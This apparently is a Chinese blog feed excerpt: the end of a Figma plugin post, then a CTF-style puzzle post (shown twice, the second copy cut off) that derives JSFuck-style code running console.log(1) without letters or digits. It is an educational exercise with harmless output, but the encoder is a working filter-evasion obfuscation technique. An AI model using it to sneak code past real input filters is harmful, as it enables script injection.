運行在 Developer VM
環境的 Plugin,其效能與 runtime 與實際跑在 Figma 上的會有不同,所以正式發佈前記得要取消 Developer VM
的選項,在一般環境下運行看看。
最後,完成你的 Plugin 後,當然會想要上架啦。
目前要上架 Plugin 需要經過 Figma 團隊的審核,官方有文章詳細說明每一個步驟,我就不贅述,可以到這邊查看:
Publish a plugin to the Community
雖然我沒有實際上架 Plugin,但相信照著文章步驟做不會有太大問題,只是有一個點要注意一下。
你在 Figma 的帳號需要啟動 two-factor authentication 才能夠申請發佈 Plugin,如果你是用 Google account SSO 申請的帳號,是不能夠啟用 two-factor authentication 的,必須重新申請一個以 Email 註冊的帳號。
Figma Plugin 的製作概念不複雜,除了要手動去設定每個 Node 的屬性來改變物件型態一開始不太習慣外,整體實作起來的感覺是蠻迅速方便的,程式編譯完以後,在 Figma 桌面程式內可以直接使用,不需要有額外載入的動作。
比較可惜的是目前還無法根據 Event 來觸發 Plugin,但依照 Figma 工程師的能力與創造力,相信在未來是有可能的。看看他們今年 maker week 就有人做了一個 Gameboy 的 plugin LOL:
For maker week at @figmadesign I really wanted to do something wild, so I made a plugin that runs a gameboy emulator inside of Figma and renders the output as vectors to the canvas. pic.twitter.com/M7up2Gb2a8
— Sawyer Hood (@sawyerhood) December 7, 2020
感謝閱讀到這邊的讀者,不知道是否有激起你一點慾望想去試試看製作 Figma plugin?有或沒有都很好,至少希望你對此有個大概的了解。而我呢,準備要去跟設計師討論看看,有什麼內部需求可以來玩玩了!
]]>最近公司的同事修了一門資安相關的課,因為我本來就對資安滿有興趣的,所以就會跟同事討論一下,這也導致了我這兩週一直在研究相關的東西,都是一些以前聽過但沒有認真研究過的,例如說 LFI(Local File Inclusion)、REC(Remote code execution)、SSRF(Server-Side Request Forgery)或是各種 PHP 的神奇 filter,也能複習原本就已經相對熟悉的 SQL Injection 跟 XSS。
而 CTF 的題目裡面常常會出現需要繞過各種限制的狀況,而這就是考驗對於特定協定或者是程式語言的理解程度的時機了,要想想看怎麼在既有的限制之下,找出至少一種方法可以成功繞過那些限制。
原本這一週不知道要寫什麼,想寫上面提的那些東西但還沒想好怎麼整理,之前的 I Don't know React 後續系列又還沒整理完,就想說那來跟大家做個跟「繞過限制」有關的趣味小挑戰好了,那就是標題所說的:
在 JavaScript 當中,你可以做到不用英文字母與數字,就成功執行 console.log(1) 嗎?
換句話說,就是程式碼裡面不能出現任何英文字母(a-zA-Z)與數字(0-9),除此之外(各種符號)都可以。執行程式碼之後,會執行 console.log(1),然後在 console 印出 1。
如果你有想到以前聽過什麼有趣的服務或是 library 可以做到,先不要。在這之前可以自己先想一下,看有沒有辦法寫出來,然後再去查其他人的解決方法。
若是能從零到有全都自己寫出來,就代表你對 JS 這個程式語言以及各種自動轉型的熟悉程度應該是滿高的。
底下我就提供一下我自己針對這一題的一些想法以及解題過程,有雷,還沒解完不要往下捲動。
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
要能成功執行題目所要求的 console.log(1)
,必須要完成幾件事情,像是:
只要這三點都解開了,應該就能達成題目所要求的東西。
讓我們先來想想第一點:「要怎麼執行程式碼?」
直接 console.log
是不可能的,因為就算你用字串拼出 console,你也沒辦法像 PHP 那樣拿字串來執行函式。
那 eval 呢?eval 裡面可以放字串,就可以執行任意程式碼了!可是問題是,我們也沒辦法用 eval,因為不能打英文字。
還有什麼方法呢?還可以用 function constructor:new Function("console.log(1)")
來執行,但問題是我們也不能用 new 這個關鍵字,所以乍看之下也不行。不過其實不需要 new 也可以,只要 Function("console.log(1)")
就可以建立一個能夠執行特定程式碼的函式。
所以接下來的問題就變成:那我們該如何拿到 function constructor?只要能夠拿到就有機會了。
在 JS 裡面可以用 .constructor
拿到某個東西的 constructor,例如說 "".constructor
就會得到:ƒ String() { [native code] }
,而今天如果你有一個 function,就可以拿到 function constructor 了,像是這樣:(()=>{}).constructor
,然後因為我們可以預期這一題會是用字串拼出各種東西,所以沒辦法直接 .constructor
,應該改成:(()=>{})['constructor']
。
那如果不支援 ES6 了?沒辦法支援箭頭函式怎麼辦?有什麼方法可以拿到一個函式嗎?
有,而且很容易,就是各種內建函式,例如說 []['fill']['constructor']
,其實就是 [].fill.constructor
,或者是 ""['slice']['constructor']
,也可以拿到 function constructor,所以這不是一件難事,就算沒有箭頭函式也可以拿到。
一開始我們期望的程式碼是這樣:Function('console.log(1)')()
,用上面改寫的話,就會把前面的 Function
替換成 (()=>{})['constructor']
,變成:(()=>{})['constructor']('console.log(1)')()
只要能湊出這一段,問題就解決了。至此,我們已經解決了第一個問題:執行函式。
接下來因為數字比較簡單,所以我們先來想一下怎麼湊出數字好了。
這邊的關鍵就在於 JS 的 coercion,如果你有看過一些 JS 轉型的文章,或許會記得 {}+[]
可以得出 0 這個數字。
就算不記得好了,利用 ! 這個運算子,我們可以得出 false,例如說 ![]
或是 !{}
都可以得出 false。然後兩個 false 相加就可以得到 0:![]+![]
,以此類推,既然 ![]
是 false,那前面再加一個 not,!![]
就是 true,所以![] + !![]
就等於 false + true,也就是 0 + 1,結果就會是 1。
或其實也有更短的方法,用 +[]
也可以利用自動轉型得到 0 這個結果,那 +!![]
就是 1。
有了 1 之後,就可以湊出所有數字了,因為你只要一直暴力不斷相加就好了,有多少就加多少次。或如果你不想這樣做,也可以利用位元運算 << >> 或者是乘號,比如說要湊出 8,就是 1 << 3
,或者是 2 << 2
,那要湊出 2 就是 (+!![])+(+!![])
,所以 (+!![])+(+!![]) << (+!![])+(+!![])
就會是 8,只要四個 1 就行了,不需要自己加 8 次。
不過我們可以先不考慮長度,只要考慮能不能湊出來就行了,只要湊出 1 我們就已經獲勝了。
最後呢,就是要想辦法湊出字串了,或者換句話說,要能湊出 (()=>{})['constructor']('console.log(1)')()
裡面的各個字元。
可是我們要怎麼樣才能湊出字元呢?
關鍵跟數字一樣,就是 coercion!
上面有講過 ![]
可以拿到 false,那你後面再加一個字串:![] + ''
,不就可以拿到 "false"
了嗎?那這樣我們就可以拿到 a, e, f, l, s 這五個字元。舉例來說,(![] + '')[1]
就是 a,為了方便紀錄,我們來寫一點小程式吧!
const mapping = {
a: "(![] + '')[1]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
l: "(![] + '')[2]",
s: "(![] + '')[3]",
}
那既然有了 false,拿到 true 也不是一件難事,!![] + ''
就可以拿到 true
,我們的程式碼就可以改成:
const mapping = {
a: "(![] + '')[1]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
l: "(![] + '')[2]",
r: "(!![] + '')[1]",
s: "(![] + '')[3]",
t: "(!![] + '')[0]",
u: "(!![] + '')[2]",
}
再來呢?再來一樣利用轉型,用 ''+{}
可以得到 "[object Object]"
(或是你要用神奇的 []+{}
也行),我們的表就可以更新成這樣:
const mapping = {
a: "(![] + '')[1]",
b: "(''+{})[2]",
c: "(''+{})[5]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
j: "(''+{})[3]",
l: "(![] + '')[2]",
o: "(''+{})[1]",
r: "(!![] + '')[1]",
s: "(![] + '')[3]",
t: "(!![] + '')[0]",
u: "(!![] + '')[2]",
}
再來,從陣列或是物件拿一個不存在的屬性會回傳什麼?undefined,再把 undefined 加上字串,就可以拿到字串的 undefined,像是這樣:[][{}]+''
,就可以拿到 undefined
。
拿到之後,我們的轉換表就變得更加完整了:
const mapping = {
a: "(![] + '')[1]",
b: "(''+{})[2]",
c: "(''+{})[5]",
d: "([][{}]+'')[2]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
i: "([][{}]+'')[5]",
j: "(''+{})[3]",
l: "(![] + '')[2]",
n: "([][{}]+'')[1]",
o: "(''+{})[1]",
r: "(!![] + '')[1]",
s: "(![] + '')[3]",
t: "(!![] + '')[0]",
u: "(!![] + '')[2]",
}
看了一下轉換表,再看一下我們的目標字串:(()=>{})['constructor']('console["log"](1)')()
,稍微比對一下,發現要湊出 constructor
是沒有問題的,要湊出 console
也是沒問題的,可是就唯獨缺了 log 的 g
,我們目前的轉換表裡面沒有這個字元。
所以一定還要再從某個地方把 g 拿出來,才能湊出我們想要的字串。或者也可以換個方法,用別的方式拿到字元。
我當初想到兩個方法,第一個方法是利用進位轉換,把數字用 toString 轉成字串的時候,其實可以帶一個參數 radix,代表這個數字要轉換成多少進制,像是 (10).toString(16)
就會得到 a,因為 10 進制的 10 就是 16 進制的 a。
英文字母一共 26 個,數字有 10 個,所以只要用 (10).toString(36)
就能得到 a,用 (16).toString(36)
就可以得到 g 了,我們可以用這個方法拿到所有的英文字母。可是問題來了,那就是 toString
本身也有 g,但我們現在沒有,所以這方法行不通。
另外一個當初想到的方法是用 base64,JS 有內建兩個函式:btoa
跟 atob
,btoa 是把一個字串 encode 成 base64,例如說 btoa('abc')
會得到 YWJj,然後再用 atob('YWJj')
做 decode 就會得到 abc。
我們只要想辦法讓 base64 encode 後的結果有 g 就沒問題了,這邊可以寫程式去跑也可以自己慢慢試,很幸運地,btoa(2)
就能拿到 Mg==
這個字串。所以 btoa(2)[1]
就會是 g
了。
不過下一個問題來了,我們要怎麼執行 btoa?一樣只能透過上面的 function constructor:(()=>{})['constructor']('return btoa(2)[1]')()
,而這次很幸運地,上面的每一個字元我們都湊得出來!
我們可以結合上面的 mapping,寫一個簡單的小程式來幫我們做轉換,目標是把一個字串轉成沒有字元的形式:
const mapping = {
a: "(![] + '')[1]",
b: "(''+{})[2]",
c: "(''+{})[5]",
d: "([][{}]+'')[2]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
i: "([][{}]+'')[5]",
j: "(''+{})[3]",
l: "(![] + '')[2]",
n: "([][{}]+'')[1]",
o: "(''+{})[1]",
r: "(!![] + '')[1]",
s: "(![] + '')[3]",
t: "(!![] + '')[0]",
u: "(!![] + '')[2]",
}
const one = '(+!![])'
const zero = '(+[])'
function transformString(input) {
return input.split('').map(char => {
// 先假設數字只會有個位數,比較好做轉換
if (/[0-9]/.test(char)) {
if (char === '0') return zero
return Array(+char).fill().map(_ => one).join('+')
}
if (/[a-zA-Z]/.test(char)) {
return mapping[char]
}
return `"${char}"`
})
// 加上 () 保證執行順序
.map(char => `(${char})`)
.join('+')
}
const input = 'constructor'
console.log(transformString(input))
輸出是:
((''+{})[5])+((''+{})[1])+(([][{}]+'')[1])+((![] + '')[3])+((!![] + '')[0])+((!![] + '')[1])+((!![] + '')[2])+((''+{})[5])+((!![] + '')[0])+((''+{})[1])+((!![] + '')[1])
可以再寫一個函式只轉換數字,把數字去掉:
function transformNumber(input) {
return input.split('').map(char => {
// 先假設數字只會有個位數,比較好做轉換
if (/[0-9]/.test(char)) {
if (char === '0') return zero
let newChar = Array(+char).fill().map(_ => one).join('+')
return`(${newChar})`
}
return char
})
.join('')
}
const input = 'constructor'
console.log(transformNumber(transformString(input)))
得到的結果是:
((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+(([][{}]+'')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((!![] + '')[((+!![]))])+((!![] + '')[((+!![])+(+!![]))])+((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((''+{})[((+!![]))])+((!![] + '')[((+!![]))])
把這結果丟去 console 執行,發現得到的值就是 constructor
沒錯。所以綜合以上程式,回到我們剛剛那一段:(()=>{})['constructor']('return btoa(2)[1]')()
,要得到轉換完的結果,就是:
const con = transformNumber(transformString('constructor'))
const fn = transformNumber(transformString('return btoa(2)[1]'))
const result = `(()=>{})[${con}](${fn})()`
console.log(result)
結果超級長我就先不貼了,但確實能得到一個字串 g。
在繼續往下之前,先讓我們把程式改一下,新增一個能夠直接轉換程式碼的函式:
function transform(code) {
const con = transformNumber(transformString('constructor'))
const fn = transformNumber(transformString(code))
const result = `(()=>{})[${con}](${fn})()`
return result;
}
console.log(transform('return btoa(2)[1]'))
好,做到這邊其實我們已經接近終點了,只差有一件事情沒有解決,那就是 btoa 其實是 WebAPI,瀏覽器才有,Node.js 並沒有這函式,所以想要解得更漂亮,就必須找到其他方式來產生 g 這個字元。
可以回憶一下一開始所提的,用 function.constructor
可以拿到 function constructor,所以以此類推,用 ''['constructor']
可以拿到 string constructor,只要再加上一個字串,就可以拿到 string constructor 的內容了!
像是這樣:''['constructor'] + ''
,得到的結果是:"function String() { [native code] }"
,一瞬間多了堆字串可以用,而我們朝思暮想的 g 就是:(''['constructor'] + '')[14]
。
由於我們的轉換器目前只能支援一個位數的數字(因為做起來簡單),我們改成:(''['constructor'] + '')[7+7]
,可以寫成這樣:
mapping['g'] = transform(`return (''['constructor'] + '')[7+7]`)
經歷過千辛萬苦之後,我們終於湊出了最麻煩的 g 這個字元,結合我們剛剛寫好的轉換器,就可以順利產生 console.log(1)
去除掉字母與數字過後的版本:
const mapping = {
a: "(![] + '')[1]",
b: "(''+{})[2]",
c: "(''+{})[5]",
d: "([][{}]+'')[2]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
i: "([][{}]+'')[5]",
j: "(''+{})[3]",
l: "(![] + '')[2]",
n: "([][{}]+'')[1]",
o: "(''+{})[1]",
r: "(!![] + '')[1]",
s: "(![] + '')[3]",
t: "(!![] + '')[0]",
u: "(!![] + '')[2]",
}
const one = '(+!![])'
const zero = '(+[])'
function transformString(input) {
return input.split('').map(char => {
// 先假設數字只會有個位數,比較好做轉換
if (/[0-9]/.test(char)) {
if (char === '0') return zero
return Array(+char).fill().map(_ => one).join('+')
}
if (/[a-zA-Z]/.test(char)) {
return mapping[char]
}
return `"${char}"`
})
// 加上 () 保證執行順序
.map(char => `(${char})`)
.join('+')
}
function transformNumber(input) {
return input.split('').map(char => {
// 先假設數字只會有個位數,比較好做轉換
if (/[0-9]/.test(char)) {
if (char === '0') return zero
let newChar = Array(+char).fill().map(_ => one).join('+')
return`(${newChar})`
}
return char
})
.join('')
}
function transform(code) {
const con = transformNumber(transformString('constructor'))
const fn = transformNumber(transformString(code))
const result = `(()=>{})[${con}](${fn})()`
return result;
}
mapping['g'] = transform(`return (''['constructor'] + '')[7+7]`)
console.log(transform('console.log(1)'))
最後產生出來的程式碼:
(()=>{})[((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+(([][{}]+'')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((!![] + '')[((+!![]))])+((!![] + '')[((+!![])+(+!![]))])+((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((''+{})[((+!![]))])+((!![] + '')[((+!![]))])](((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+(([][{}]+'')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+((![] + '')[((+!![])+(+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![])+(+!![]))])+(".")+((![] + '')[((+!![])+(+!![]))])+((''+{})[((+!![]))])+((()=>{})[((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+(([][{}]+'')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((!![] + '')[((+!![]))])+((!![] + '')[((+!![])+(+!![]))])+((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((''+{})[((+!![]))])+((!![] + '')[((+!![]))])](((!![] + '')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((!![] + '')[((+!![])+(+!![]))])+((!![] + '')[((+!![]))])+(([][{}]+'')[((+!![]))])+(" ")+("(")+("'")+("'")+("[")+("'")+((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+(([][{}]+'')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((!![] + '')[((+!![]))])+((!![] + '')[((+!![])+(+!![]))])+((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((''+{})[((+!![]))])+((!![] + '')[((+!![]))])+("'")+("]")+(" ")+("+")+(" ")+("'")+("'")+(")")+("[")+((+!![])+(+!![])+(+!![])+(+!![])+(+!![])+(+!![])+(+!![]))+("+")+((+!![])+(+!![])+(+!![])+(+!![])+(+!![])+(+!![])+(+!![]))+("]"))())+("(")+((+!![]))+((+!![])+(+!![]))+((+!![])+(+!![])+(+!![]))+(")"))()
至此,我們用了 1800 個字元,成功製造出只有:[
, ]
, (
, )
, {
, }
, "
, '
, +
, !
, =
, >
這 12 個字元的程式,並且能夠順利執行 console.log(1)
。
而因為我們已經可以順利拿到 String 這幾個字了,所以就可以用之前提過的進位轉換的方法,得到任意小寫字元,像是這樣:
mapping['S'] = transform(`return (''['constructor'] + '')[9]`)
mapping['g'] = transform(`return (''['constructor'] + '')[7+7]`)
console.log(transform('return (35).toString(36)')) // z
那要怎麼拿到任意大寫字元,或甚至任意字元呢?我也有想到幾種方式。
如果想拿到任意字元,可以透過 String.fromCharCode
,或是寫成另一種形式:""['constructor']['fromCharCode']
,就可以拿到任意字元。可是在這之前要先想辦法拿到大寫的 C,這個就要再想一下怎麼做了。
除了這條路,還有另外一條,那就是靠編碼,例如說 '\u0043'
其實就是大寫的 C 了,所以我原本以為可以透過這種方法來湊,但我試了一下是不行的,像是 console.log("\u0043")
會印出 C 沒錯,但是 console.log(("\u00" + "43"))
就會直接噴一個錯誤給你,看來編碼沒有辦法這樣拼起來(仔細想想發現滿合理的)。
其實我以前有寫過一篇:讓 JavaSript 難以閱讀:jsfuck 與 aaencode,在講的就是同一件事,不過以前我只有稍微整理一下,這次則是自己親自下去試過,感覺更不一樣。
最後寫出來的那個轉換的函式其實並不完整,沒有辦法執行任意程式碼,沒有繼續做完是因為 jsfuck 這個 library 已經寫得很清楚了,在 README 裡面有詳細描述它的轉換過程,而且最後只用了 6 個字元而已,真的很佩服。
在它的程式碼當中也可以看出他的轉換是怎麼做的,大寫 C 的部分是用一個在 String 身上叫做 italics
的函式,可以產生出 <i></i>
,產生出以後再呼叫 escape 去做跳脫,就會得到 %3Ci%3E%3C/i%3E
,就有大寫 C 了。
有些人可能會想說平常程式碼寫得好好的,幹嘛這樣搞自己,但這樣做的重點其實不在於最後的結果,而是在訓練幾個東西,像是:
總之呢,以上是我針對這一題的一些解題心路歷程,有什麼有趣的解法也歡迎留言讓我知道(例如說其他種拿到大寫字母 C 的做法),感謝!
]]>最近公司的同事修了一門資安相關的課,因為我本來就對資安滿有興趣的,所以就會跟同事討論一下,這也導致了我這兩週一直在研究相關的東西,都是一些以前聽過但沒有認真研究過的,例如說 LFI(Local File Inclusion)、REC(Remote code execution)、SSRF(Server-Side Request Forgery)或是各種 PHP 的神奇 filter,也能複習原本就已經相對熟悉的 SQL Injection 跟 XSS。
而 CTF 的題目裡面常常會出現需要繞過各種限制的狀況,而這就是考驗對於特定協定或者是程式語言的理解程度的時機了,要想想看怎麼在既有的限制之下,找出至少一種方法可以成功繞過那些限制。
原本這一週不知道要寫什麼,想寫上面提的那些東西但還沒想好怎麼整理,之前的 I Don't know React 後續系列又還沒整理完,就想說那來跟大家做個跟「繞過限制」有關的趣味小挑戰好了,那就是標題所說的:
在 JavaScript 當中,你可以做到不用英文字母與數字,就成功執行 console.log(1) 嗎?
換句話說,就是程式碼裡面不能出現任何英文字母(a-zA-Z)與數字(0-9),除此之外(各種符號)都可以。執行程式碼之後,會執行 console.log(1),然後在 console 印出 1。
如果你有想到以前聽過什麼有趣的服務或是 library 可以做到,先不要。在這之前可以自己先想一下,看有沒有辦法寫出來,然後再去查其他人的解決方法。
若是能從零到有全都自己寫出來,就代表你對 JS 這個程式語言以及各種自動轉型的熟悉程度應該是滿高的。
底下我就提供一下我自己針對這一題的一些想法以及解題過程,有雷,還沒解完不要往下捲動。
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
==防雷==
要能成功執行題目所要求的 console.log(1)
,必須要完成幾件事情,像是:
只要這三點都解開了,應該就能達成題目所要求的東西。
讓我們先來想想第一點:「要怎麼執行程式碼?」
直接 console.log
是不可能的,因為就算你用字串拼出 console,你也沒辦法像 PHP 那樣拿字串來執行函式。
那 eval 呢?eval 裡面可以放字串,就可以執行任意程式碼了!可是問題是,我們也沒辦法用 eval,因為不能打英文字。
還有什麼方法呢?還可以用 function constructor:new Function("console.log(1)")
來執行,但問題是我們也不能用 new 這個關鍵字,所以乍看之下也不行。不過其實不需要 new 也可以,只要 Function("console.log(1)")
就可以建立一個能夠執行特定程式碼的函式。
所以接下來的問題就變成:那我們該如何拿到 function constructor?只要能夠拿到就有機會了。
在 JS 裡面可以用 .constructor
拿到某個東西的 constructor,例如說 "".constructor
就會得到:ƒ String() { [native code] }
,而今天如果你有一個 function,就可以拿到 function constructor 了,像是這樣:(()=>{}).constructor
,然後因為我們可以預期這一題會是用字串拼出各種東西,所以沒辦法直接 .constructor
,應該改成:(()=>{})['constructor']
。
那如果不支援 ES6 了?沒辦法支援箭頭函式怎麼辦?有什麼方法可以拿到一個函式嗎?
有,而且很容易,就是各種內建函式,例如說 []['fill']['constructor']
,其實就是 [].fill.constructor
,或者是 ""['slice']['constructor']
,也可以拿到 function constructor,所以這不是一件難事,就算沒有箭頭函式也可以拿到。
一開始我們期望的程式碼是這樣:Function('console.log(1)')()
,用上面改寫的話,就會把前面的 Function
替換成 (()=>{})['constructor']
,變成:(()=>{})['constructor']('console.log(1)')()
只要能湊出這一段,問題就解決了。至此,我們已經解決了第一個問題:執行函式。
接下來因為數字比較簡單,所以我們先來想一下怎麼湊出數字好了。
這邊的關鍵就在於 JS 的 coercion,如果你有看過一些 JS 轉型的文章,或許會記得 {}+[]
可以得出 0 這個數字。
就算不記得好了,利用 ! 這個運算子,我們可以得出 false,例如說 ![]
或是 !{}
都可以得出 false。然後兩個 false 相加就可以得到 0:![]+![]
,以此類推,既然 ![]
是 false,那前面再加一個 not,!![]
就是 true,所以![] + !![]
就等於 false + true,也就是 0 + 1,結果就會是 1。
或其實也有更短的方法,用 +[]
也可以利用自動轉型得到 0 這個結果,那 +!![]
就是 1。
有了 1 之後,就可以湊出所有數字了,因為你只要一直暴力不斷相加就好了,有多少就加多少次。或如果你不想這樣做,也可以利用位元運算 << >> 或者是乘號,比如說要湊出 8,就是 1 << 3
,或者是 2 << 2
,那要湊出 2 就是 (+!![])+(+!![])
,所以 (+!![])+(+!![]) << (+!![])+(+!![])
就會是 8,只要四個 1 就行了,不需要自己加 8 次。
不過我們可以先不考慮長度,只要考慮能不能湊出來就行了,只要湊出 1 我們就已經獲勝了。
最後呢,就是要想辦法湊出字串了,或者換句話說,要能湊出 (()=>{})['constructor']('console.log(1)')()
裡面的各個字元。
可是我們要怎麼樣才能湊出字元呢?
關鍵跟數字一樣,就是 coercion!
上面有講過 ![]
可以拿到 false,那你後面再加一個字串:![] + ''
,不就可以拿到 "false"
了嗎?那這樣我們就可以拿到 a, e, f, l, s 這五個字元。舉例來說,(![] + '')[1]
就是 a,為了方便紀錄,我們來寫一點小程式吧!
const mapping = {
a: "(![] + '')[1]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
l: "(![] + '')[2]",
s: "(![] + '')[3]",
}
那既然有了 false,拿到 true 也不是一件難事,!![] + ''
就可以拿到 true
,我們的程式碼就可以改成:
const mapping = {
a: "(![] + '')[1]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
l: "(![] + '')[2]",
r: "(!![] + '')[1]",
s: "(![] + '')[3]",
t: "(!![] + '')[0]",
u: "(!![] + '')[2]",
}
再來呢?再來一樣利用轉型,用 ''+{}
可以得到 "[object Object]"
(或是你要用神奇的 []+{}
也行),我們的表就可以更新成這樣:
const mapping = {
a: "(![] + '')[1]",
b: "(''+{})[2]",
c: "(''+{})[5]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
j: "(''+{})[3]",
l: "(![] + '')[2]",
o: "(''+{})[1]",
r: "(!![] + '')[1]",
s: "(![] + '')[3]",
t: "(!![] + '')[0]",
u: "(!![] + '')[2]",
}
再來,從陣列或是物件拿一個不存在的屬性會回傳什麼?undefined,再把 undefined 加上字串,就可以拿到字串的 undefined,像是這樣:[][{}]+''
,就可以拿到 undefined
。
拿到之後,我們的轉換表就變得更加完整了:
const mapping = {
a: "(![] + '')[1]",
b: "(''+{})[2]",
c: "(''+{})[5]",
d: "([][{}]+'')[2]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
i: "([][{}]+'')[5]",
j: "(''+{})[3]",
l: "(![] + '')[2]",
n: "([][{}]+'')[1]",
o: "(''+{})[1]",
r: "(!![] + '')[1]",
s: "(![] + '')[3]",
t: "(!![] + '')[0]",
u: "(!![] + '')[2]",
}
看了一下轉換表,再看一下我們的目標字串:(()=>{})['constructor']('console["log"](1)')()
,稍微比對一下,發現要湊出 constructor
是沒有問題的,要湊出 console
也是沒問題的,可是就唯獨缺了 log 的 g
,我們目前的轉換表裡面沒有這個字元。
所以一定還要再從某個地方把 g 拿出來,才能湊出我們想要的字串。或者也可以換個方法,用別的方式拿到字元。
我當初想到兩個方法,第一個方法是利用進位轉換,把數字用 toString 轉成字串的時候,其實可以帶一個參數 radix,代表這個數字要轉換成多少進制,像是 (10).toString(16)
就會得到 a,因為 10 進制的 10 就是 16 進制的 a。
英文字母一共 26 個,數字有 10 個,所以只要用 (10).toString(36)
就能得到 a,用 (16).toString(36)
就可以得到 g 了,我們可以用這個方法拿到所有的英文字母。可是問題來了,那就是 toString
本身也有 g,但我們現在沒有,所以這方法行不通。
另外一個當初想到的方法是用 base64,JS 有內建兩個函式:btoa
跟 atob
,btoa 是把一個字串 encode 成 base64,例如說 btoa('abc')
會得到 YWJj,然後再用 atob('YWJj')
做 decode 就會得到 abc。
我們只要想辦法讓 base64 encode 後的結果有 g 就沒問題了,這邊可以寫程式去跑也可以自己慢慢試,很幸運地,btoa(2)
就能拿到 Mg==
這個字串。所以 btoa(2)[1]
就會是 g
了。
不過下一個問題來了,我們要怎麼執行 btoa?一樣只能透過上面的 function constructor:(()=>{})['constructor']('return btoa(2)[1]')()
,而這次很幸運地,上面的每一個字元我們都湊得出來!
我們可以結合上面的 mapping,寫一個簡單的小程式來幫我們做轉換,目標是把一個字串轉成沒有字元的形式:
const mapping = {
a: "(![] + '')[1]",
b: "(''+{})[2]",
c: "(''+{})[5]",
d: "([][{}]+'')[2]",
e: "(![] + '')[4]",
f: "(![] + '')[0]",
i: "([][{}]+'')[5]",
j: "(''+{})[3]",
l: "(![] + '')[2]",
n: "([][{}]+'')[1]",
o: "(''+{})[1]",
r: "(!![] + '')[1]",
s: "(![] + '')[3]",
t: "(!![] + '')[0]",
u: "(!![] + '')[2]",
}
const one = '(+!![])'
const zero = '(+[])'
function transformString(input) {
return input.split('').map(char => {
// 先假設數字只會有個位數,比較好做轉換
if (/[0-9]/.test(char)) {
if (char === '0') return zero
return Array(+char).fill().map(_ => one).join('+')
}
if (/[a-zA-Z]/.test(char)) {
return mapping[char]
}
return `"${char}"`
})
// 加上 () 保證執行順序
.map(char => `(${char})`)
.join('+')
}
const input = 'constructor'
console.log(transformString(input))
輸出是:
((''+{})[5])+((''+{})[1])+(([][{}]+'')[1])+((![] + '')[3])+((!![] + '')[0])+((!![] + '')[1])+((!![] + '')[2])+((''+{})[5])+((!![] + '')[0])+((''+{})[1])+((!![] + '')[1])
可以再寫一個函式只轉換數字,把數字去掉:
function transformNumber(input) {
return input.split('').map(char => {
// 先假設數字只會有個位數,比較好做轉換
if (/[0-9]/.test(char)) {
if (char === '0') return zero
let newChar = Array(+char).fill().map(_ => one).join('+')
return`(${newChar})`
}
return char
})
.join('')
}
const input = 'constructor'
console.log(transformNumber(transformString(input)))
得到的結果是:
((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((''+{})[((+!![]))])+(([][{}]+'')[((+!![]))])+((![] + '')[((+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((!![] + '')[((+!![]))])+((!![] + '')[((+!![])+(+!![]))])+((''+{})[((+!![])+(+!![])+(+!![])+(+!![])+(+!![]))])+((!![] + '')[(+[])])+((''+{})[((+!![]))])+((!![] + '')[((+!![]))])
把這結果丟去 console 執行,發現得到的值就是 constructor
沒錯。所以綜合以上程式,回到我們剛剛那一段:(()=>{})['constructor']('return btoa(2)[1]')()
,要得到轉換完的結果,就是:
const con = transformNumber(transformString('constructor'))
const fn = transformNumber(transformString('return btoa(2)[1]'))
const result = `(()=>{})[${con}](${fn})()`
console.log(result)
結果超級長我就先不貼了,但確實能得到一個字串 g。
在繼續往下之前,先讓我們把程式改一下,新增一個能夠直接轉換程式碼的函式:
function transform(code) {
const con = transformNumber(transformString('constructor'))
const fn = transformNumber(transformString(code))
const result = `(()=>{})[${con}](${fn})()`
return result;
}
console.log(transform('return btoa(2)[1]'))
好,做到這邊其實我們已經接近終點了,只差有一件事情沒有解決,那就是 btoa 其實是 WebAPI,瀏覽器才有,Node.js 並沒有這函式,所以想要解得更漂亮,就必須找到其他方式來產生 g 這個字元。
可以回憶一下一開始所提的,用 function.constructor
可以拿到 function constructor,所以以此類推,用 ''['constructor']
可以拿到 string constructor,只要再加上一個字串,就可以拿到 string constructor 的內容了!
像是這樣:''['constructor'] + ''
,得到的結果是:"function String() { [native code] }"
,一瞬間多了堆字串可以用,而我們朝思暮想的 g 就是:(''['constructor'] + '')[14]
。
